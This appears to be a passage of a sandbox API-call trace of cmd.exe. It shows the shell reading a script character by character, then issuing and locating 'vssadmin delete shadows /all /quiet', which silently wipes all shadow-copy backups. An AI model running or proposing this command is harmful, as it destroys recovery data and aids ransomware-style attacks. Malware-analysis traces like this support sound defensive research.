[0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.088] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0126.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.088] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.088] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.089] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.089] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0126.089] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.089] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.090] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.090] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.090] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0126.090] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.091] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.091] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0126.091] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.091] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.091] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0126.091] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.091] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.091] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0126.091] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.091] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.091] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0126.091] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] GetFileType (hFile=0xe8) returned 0x3 [0126.091] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.091] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.091] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.091] GetFileType (hFile=0xf4) returned 0x3 [0126.091] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.091] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0126.091] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x12fb58, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fb58*=0x24, lpOverlapped=0x0) returned 1 [0126.091] GetProcessHeap () returned 0x180000 [0126.091] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x4012) returned 0x1a1010 [0126.092] GetProcessHeap () returned 0x180000 [0126.092] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a1010 | out: hHeap=0x180000) returned 1 [0126.092] GetProcessHeap () returned 0x180000 [0126.092] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb0) returned 0x199840 [0126.092] GetProcessHeap () returned 0x180000 [0126.092] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x22) returned 0x194630 [0126.093] GetProcessHeap () returned 0x180000 [0126.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x48) returned 0x1a0090 [0126.093] GetConsoleOutputCP () returned 0x4e3 [0126.093] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0126.093] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.093] GetConsoleTitleW (in: lpConsoleTitle=0x12fb10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.093] GetProcessHeap () returned 0x180000 [0126.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x218) returned 0x19aae0 [0126.093] GetProcessHeap () returned 0x180000 [0126.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5a) returned 0x199a50 [0126.093] GetProcessHeap () returned 0x180000 [0126.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x420) returned 0x19b9a0 [0126.093] SetErrorMode (uMode=0x0) returned 0x0 [0126.093] SetErrorMode (uMode=0x1) returned 0x0 [0126.094] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x19b9b0, lpFilePart=0x12f3a0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12f3a0*="system32") returned 0x13 [0126.094] SetErrorMode (uMode=0x0) returned 0x1 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x19b9a0, Size=0x4a) returned 0x19b9a0 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b9a0) returned 0x4a [0126.094] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.094] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x104) returned 0x195bb0 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1f8) returned 0x19ba00 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x19ba00, Size=0x106) returned 0x19ba00 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba00) returned 0x106 [0126.094] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xe8) returned 0x199c60 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x199c60, Size=0x7e) returned 0x199c60 [0126.094] GetProcessHeap () returned 0x180000 [0126.094] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x199c60) returned 0x7e [0126.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.094] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x12f110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f110) returned 0x195cc0 [0126.094] FindClose (in: hFindFile=0x195cc0 | out: hFindFile=0x195cc0) returned 1 [0126.095] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x12f110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f110) returned 0xffffffffffffffff [0126.095] GetLastError () returned 0x2 [0126.095] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x12f110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f110) returned 0x1a1040 [0126.095] FindClose (in: hFindFile=0x1a1040 | out: hFindFile=0x1a1040) returned 1 [0126.095] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0126.095] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0126.095] GetConsoleTitleW (in: lpConsoleTitle=0x12f660, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.095] GetProcessHeap () returned 0x180000 [0126.095] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x21c) returned 0x19bb20 [0126.095] GetConsoleTitleW (in: lpConsoleTitle=0x19bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.095] GetProcessHeap () returned 0x180000 [0126.095] RtlReAllocateHeap (Heap=0x180000, 